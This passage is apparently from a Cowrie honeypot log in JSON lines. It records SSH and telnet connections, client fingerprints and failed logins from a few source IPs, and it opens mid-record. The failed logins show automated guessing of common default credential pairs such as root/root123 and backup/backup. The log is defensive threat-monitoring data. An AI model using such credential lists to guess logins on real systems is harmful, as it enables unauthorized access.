h-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:40.951037Z","src_ip":"192.109.200.237","session":"e564c9a66c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:41.402707Z","src_ip":"192.109.200.237","session":"e564c9a66c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.405925273895264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:42.471705Z","src_ip":"209.127.178.212","session":"b0262dcf501c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:42.488322Z","src_ip":"192.109.200.237","session":"e564c9a66c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":49492,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5879fede3aa","protocol":"ssh","message":"New connection: 43.153.37.39:49492 (10.17.0.5:22) [session: d5879fede3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:42.880010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:42.884895Z","src_ip":"43.153.37.39","session":"d5879fede3aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:42.952534Z","src_ip":"43.153.37.39","session":"d5879fede3aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe456rty","message":"login attempt [root/123qwe456rty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:43.257759Z","src_ip":"43.153.37.39","session":"d5879fede3aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49064,"dst_ip":"159.203.135.109","dst_port":22,"session":"877454c14fbd","protocol":"ssh","message":"New connection: 192.109.200.237:49064 (159.203.135.109:22) [session: 877454c14fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:44.321383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:44.326329Z","src_ip":"192.109.200.237","session":"877454c14fbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:44.331375Z","src_ip":"43.153.37.39","session":"d5879fede3aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:44.408508Z","src_ip":"192.109.200.237","session":"877454c14fbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:44.658144Z","src_ip":"192.109.200.237","session":"877454c14fbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:45.743927Z","src_ip":"192.109.200.237","session":"877454c14fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":40284,"dst_ip":"159.203.135.109","dst_port":23,"session":"7900b10e24b9","protocol":"telnet","message":"New connection: 209.127.178.212:40284 (159.203.135.109:23) [session: 7900b10e24b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:46.158961Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49076,"dst_ip":"159.203.135.109","dst_port":22,"session":"175edc48c141","protocol":"ssh","message":"New connection: 192.109.200.237:49076 (159.203.135.109:22) [session: 175edc48c141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:47.625158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:47.629869Z","src_ip":"192.109.200.237","session":"175edc48c141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:47.711951Z","src_ip":"192.109.200.237","session":"175edc48c141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:47.958980Z","src_ip":"192.109.200.237","session":"175edc48c141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:49.043994Z","src_ip":"192.109.200.237","session":"175edc48c141","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36476,"dst_ip":"159.203.135.109","dst_port":22,"session":"8968c2418161","protocol":"ssh","message":"New connection: 192.109.200.237:36476 (159.203.135.109:22) [session: 8968c2418161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:50.986990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:50.991799Z","src_ip":"192.109.200.237","session":"8968c2418161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:51.077989Z","src_ip":"192.109.200.237","session":"8968c2418161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:51.376830Z","src_ip":"192.109.200.237","session":"8968c2418161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:52.461096Z","src_ip":"192.109.200.237","session":"8968c2418161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36488,"dst_ip":"159.203.135.109","dst_port":22,"session":"19890a406c51","protocol":"ssh","message":"New connection: 192.109.200.237:36488 (159.203.135.109:22) [session: 19890a406c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:54.553408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:54.558587Z","src_ip":"192.109.200.237","session":"19890a406c51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:54.643101Z","src_ip":"192.109.200.237","session":"19890a406c51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:54.892929Z","src_ip":"192.109.200.237","session":"19890a406c51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:55.987770Z","src_ip":"192.109.200.237","session":"19890a406c51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36500,"dst_ip":"159.203.135.109","dst_port":22,"session":"afefccae305e","protocol":"ssh","message":"New connection: 192.109.200.237:36500 (159.203.135.109:22) [session: afefccae305e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:57.732777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:57.737473Z","src_ip":"192.109.200.237","session":"afefccae305e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:57.825741Z","src_ip":"192.109.200.237","session":"afefccae305e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:58.078223Z","src_ip":"192.109.200.237","session":"afefccae305e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:59.164840Z","src_ip":"192.109.200.237","session":"afefccae305e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35470,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d6f5909d3ee","protocol":"ssh","message":"New connection: 192.109.200.237:35470 (159.203.135.109:22) [session: 2d6f5909d3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:01.113866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:01.118862Z","src_ip":"192.109.200.237","session":"2d6f5909d3ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:01.201711Z","src_ip":"192.109.200.237","session":"2d6f5909d3ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:01.449540Z","src_ip":"192.109.200.237","session":"2d6f5909d3ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:02.536912Z","src_ip":"192.109.200.237","session":"2d6f5909d3ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46456,"dst_ip":"10.17.0.5","dst_port":23,"session":"847e5408c455","protocol":"telnet","message":"New connection: 152.42.224.71:46456 (10.17.0.5:23) [session: 847e5408c455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:03.477426Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35486,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6582c365a8e","protocol":"ssh","message":"New connection: 192.109.200.237:35486 (159.203.135.109:22) [session: c6582c365a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:04.805526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:04.814573Z","src_ip":"192.109.200.237","session":"c6582c365a8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:04.896712Z","src_ip":"192.109.200.237","session":"c6582c365a8e","protocol":"ssh"}
